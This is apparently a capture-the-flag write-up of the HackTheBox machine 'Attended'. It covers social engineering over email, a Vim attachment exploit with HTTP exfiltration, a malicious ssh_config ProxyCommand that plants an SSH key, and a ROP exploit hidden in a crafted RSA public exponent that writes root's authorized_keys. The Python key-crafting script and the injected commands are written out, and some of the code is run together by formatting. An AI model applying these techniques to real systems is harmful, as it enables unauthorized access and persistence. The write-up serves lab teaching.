I first tried guly and got the following response:
Mon, 03 May 2021 17:18:04 -0400 (EDT)
Received: from attended.htb (attended.htb [192.168.23.2])
by attendedgw.htb (Postfix) with ESMTP id 7560E32CCF
for <_0xten@10.10.14.27>; Mon, 3 May 2021 23:22:50 +0200 (CEST)
Content-Type: multipart/alternative;
boundary="===============8290742098115745222=="
MIME-Version: 1.0
Subject: Re: test Mon, 03 May 2021 17:16:04 -0400
From: guly@attended.htb
--===============8290742098115745222==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
hello, thanks for writing.
i'm currently quite busy working on an issue with freshness and dodging any email from everyone but him. i'll get back in touch as soon as possible.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
--===============8290742098115745222==--
Saying he's busy with freshness (the other co-creator of attended). At this point I thought that maybe mailing guly prettending to be freshness might result in a different response
Tue, 02 Mar 2021 07:13:02 -0500 (EST)
Received: from attended.htb (attended.htb [192.168.23.2])
by attendedgw.htb (Postfix) with ESMTP id 5803732CCF
for <freshness@10.10.15.10>; Tue, 2 Mar 2021 13:22:33 +0100 (CET)
Content-Type: multipart/alternative;
boundary="===============3652242623055986180=="
MIME-Version: 1.0
Subject: Re: test Tue, 02 Mar 2021 07:11:59 -0500
From: guly@attended.htb
--===============3652242623055986180==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :)
p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
--===============3652242623055986180==--
After reading this, I tried sending and email with an attachment:
Tue, 02 Mar 2021 07:28:03 -0500 (EST)
Received: from attended.htb (attended.htb [192.168.23.2])
by attendedgw.htb (Postfix) with ESMTP id 3229A32CCF
for <freshness@10.10.15.10>; Tue, 2 Mar 2021 13:37:35 +0100 (CET)
Content-Type: multipart/alternative;
boundary="===============4711056454254821347=="
MIME-Version: 1.0
Subject: Re: test Tue, 02 Mar 2021 07:27:18 -0500
From: guly@attended.htb
--===============4711056454254821347==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
thanks dude, i'm currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax.
if everything is fine, you will find your config file within a few minutes in the /home/shared folder.
test it ASAP and let me know if you still face that weird issue.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
--===============4711056454254821347==--
From all these emails we can extract a few infos:
Guly expects an attachment from freshness
He'll open it with vim
We have python2 on the system
There are outbound traffic restrictions
The attachment is a config file (likely ssh)
The freshness user will test the config file in /home/shared
So our attack chain would likely be the following:
send a malicious attachment to get code execution -> Bypass traffic restrictions via data exfiltration -> Create a malicious ssh_config file -> Finally login as a user and work our way from there
Of course that wasn't my fist guess, it was actually the result of many frustrated attempts.
Vim
Searching for vim CVEs this one seems the most promissing one:
So I tried sending an attachment that would make the host ping my box, which seems the most reasonable test since there are traffic restrictions on the target
After playing around a bit with the exploit I tried to exfiltrate data via http using python2 (at this point I was praying for the request lib to available on the host).
The tmp folder inside guly's home seems interesting...
total 32
drwxr-xr-x 2 guly guly 512 Jun 26 2019 .
drwxr-x--- 4 guly guly 512 May 3 23:17 ..
-rwxr-x--- 1 guly guly 12288 Jun 26 2019 .config.swp
It contains a vim swap of a config file, this will possibly hint us on how our malicious config must look like.
This is not simply ascii text so use strings instead of cat.
ServerAliveInterval 60
TCPKeepAlive yes
ControlPersist 4h
ControlPath /tmp/%r@%h:%p
ControlMaster auto
User freshness
Host *
This confirms my theory that we need to drop a config file at /home/shared and it will be used as a ssh_config file. We can execute commands whenever our config file is used by abusing some special configurations such as ProxyCommand.
If we create a /home/shared/config file with ProxyCommand to write a ssh key to authorized_keys we might be able to login as freshness.
Host *
User freshness
ControlMaster auto
ControlPath /tmp/%r@%h:%p
ControlPersist 4h
TCPKeepAlive yes
ServerAliveInterval 60
ProxyCommand echo ssh-ed25519 AAAAC3[...]qEUi > /home/freshness/.ssh/authorized_keys
This is the config file I used.
We can try to write it with the above attachment and then we wait for freshness to test it.
The term "Authkeys" rings a bell, there is a configuration that can be set on sshd_config to process data received from private/public key authentication on ssh. Reading /etc/ssh/sshd_config we see the following lines:
Those are commented out but from the note we can assume that they aren't on attendedgw.
Attendedgw isn't listening on port 22, so the natural thing is to test 2222 instead, which confirms ssh is listening, but running a portscan is also an option.
Reading the documentation we can easily understand what %f %h %t %k are:
TOKENS
Arguments to some keywords can make use of tokens, which are expanded at runtime:
%%
A literal ‘%’.
%D
The routing domain in which the incoming connection was received.
%F
The fingerprint of the CA key.
%f
The fingerprint of the key or certificate.
%h
The home directory of the user.
%i
The key ID in the certificate.
%K
The base64-encoded CA key.
%k
The base64-encoded key or certificate for authentication.
%s
The serial number of the certificate.
%T
The type of the CA key.
%t
The key or certificate type.
%U
The numeric user ID of the target user.
%u
The username.
Testing with the following parameters we can see that there is a buffer overflow on the %k parameter (The base64 encoded public key):
Opening the binary on gdb on a openbsd vm and setting a ton of base64 encoded A's as our %k argument we can overwrite the rsp register to whatever we want and start work on a rop chain:
Before that we must consider that we'll send a private key that will then be converted to a public key, so thinking of the crafting of the key before building an exploit will prevent us from doing some extra work to adapt our padding to the correct format.
We know how RSA keys are built, now we have to think on how to make a private key that will produce a public key containing our payload. A RSA key is composed by p, q, n and e where p and q are any two prime numbers, n is the product of those two and e is an integer such that 1 < e < phi and gcd(e, phi) = 1; that is, e and phi are coprime.
So the value we have most control over and is present in both the private and the public key is e.
Let's make that e = our payload, p = a very large prime, q = another very large prime, n = p*q, phi = (p-1)*(q-1), this is the famous Euler totient function. To generate a private key we also need to find d, which is the modular multiplicative inverse of e modulo phi, and the crt_coef, which is the modular multiplicative inverse of p modulo q.
The last thing we must care about is that our payload (e) needs to be coprime to phi, so we can add a few bytes at the end and only modify those, so our payload will keep the same. I'll be using sagemath, which basically let's you run python with crazy alegebra functions.
Here are our first definitions, now we need to use an algoritm to modifly the last few bytes of e until we hit a coprime to phi:
# Definitionse = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p =12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061q =8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721n = p*qphi = (p-1)*(q-1)crt_coef =inverse_mod(p, q)# e coprime to phi_e = efor i inrange(1, 2**(8*4), 2): __e = _e + iifgcd(phi, __e)==1: e = __ebreak
I'm using the gcd(phi, e) = 1 condition I mentioned before to confirm that e is good to go. The reason for my range to be 1, 2e16 is that 2e16 is the biggest possible number that would perfectly fit the bytes we freed by adding 8 null bytes to the end of our payload.
Now we want to calculate our inverses.
# Definitionse = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p =12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061q =8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721n = p*qphi = (p-1)*(q-1)crt_coef =inverse_mod(p, q)# e coprime to phi_e = efor i inrange(1, 2**(8*4), 2): __e = _e + iifgcd(phi, __e)==1: e = __ebreak# Find dd =inverse_mod(e, phi)
And we can finally build a key!
from Crypto.PublicKey import RSAimport os# Definitionse = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p =12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061q =8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721n = p*qphi = (p-1)*(q-1)crt_coef =inverse_mod(p, q)# e coprime to phi_e = efor i inrange(1, 2**(8*4), 2): __e = _e + iifgcd(phi, __e)==1: e = __ebreak# Find dd =inverse_mod(e, phi)# Build Keyrsa_params = (int(n),int(e),int(d),int(p),int(q),int(crt_coef))key = RSA.construct(rsa_params ,consistency_check=False).exportKey().decode()# Write key fileif os.path.isfile('ropkey.pem'): os.unlink('ropkey.pem')withopen('ropkey.pem', 'w')as f: f.write(key)os.popen('chmod 400 ropkey.pem')
Now let's extract our public key and test it on gdb to see if our overflow works as expected.
I first tried 850 A's as padding and we can see that we wrote 81 bytes after rsp, so now we just need to reajust that to be 761 A's + 8 B's to see if wee can perfectly overwrite rsp.
It works, the rsp value is overwritten an on the first return after the overflow it changes rip to bbbbbbbb which means we can start building our rop chain.
ROP
Using ropper to search for useful gadgets we can see that we can probably make a syscall. Also keep in mind that the user data is stored in the data section before being written onto the stack, which is good since there is no PIE, so we can store arguments we might want to use there, making ROP easier.
Our challenge now is to control rax, rdi, rsi and rdx. rax will be the syscall number; we want it to be 59, which is execve() on openbsd; rdi needs to be "/bin/sh", that string is obviously not available on the program but we can put it on our padding; rsi needs to be a pointer to an array of arguments and finally rdx is an optional argument that we want to be null.
RAX
Looking for gadgets to control rax anything that helps manipulating rax, eax, ax or al is useful since those are all the same register but each one allows controling a different amount of bytes.
The above code creates our rop chain, if we feed it to the key generator and test our exploit we successfully changed rax to 59:
(gdb) i r
rax 0x3b 59
now we can move on to the next registers.
RDI/RSI/RDX
There is also a chain of gadgets that allow us to control rsi and, as we'll see later on, also control rdi and rdx.
0x000000000040036a: pop rdx; ret;
Let's us easily change the value of rdx.
000000000040037b: movss xmm0, dword ptr [rdx];
Copies a dword pointer from rdx to xmm0.
0x0000000000400380: cvtss2si esi, xmm0; ret;
Converts a float from xmm0 and stores the result on esi.
And finally:
0x0000000000400367: mov rdi, rsi; pop rdx; ret;
Copies rsi to rdi
cvtss2si expects a float value and movss expects a dword pointer. We want rdi to be "/bin/sh", so we store that value in memory by modifying our padding. Then we need to store a pointer to that address as a float value because it will be converted back afterwards. Finally we just pop rdi with that value's address
Let's take it slow and start by checking where "/bin/sh" is written to:
First we consult the vaddr of a memory section out payload overwrote:
>> rabin2 -z pwn/authkeys
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00001000 0x00601000 189 190 .data ascii Too bad, Wrong number of arguments!\nEvaluating key...\nSorry, this damn thing is not complete yet. I'll finish asap, promise!\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
And inspect that address (and the next few ones) in gdb:
At this point we can start writing our array of arguments to the data section. argv[0] is the name of the program, so also "/bin/sh", argv[1] will be "-c", and argv[2] can be any command we want. Our command can be, for example:
mkdir /root/.ssh; echo "{your public key}" > /root/.ssh/authorized_keys
Now we need to make rsi point to the first adddress of the array so we do the same processes we did to rdi using cvtss2si and movss to make write 0x601170 to rsi.
0x601190: 0x000000004ac022e0 0x4141414141414141
You know the drill, write the float to memory, then pop rdx with the address of that value and use our special gadgets to convert it back to hex and store it in rsi. Ps: I had to reset the rip before that because the rdx value was being writen to rip. That asa easy to solve, since I was already writing to rip i just had to write the correct address back to it to reajust the execution flow.
Syscall
With the following code we have all of our registers on their marks and can finally call a syscall. If we use it to authenticate to root@attendedgw our exploit works!: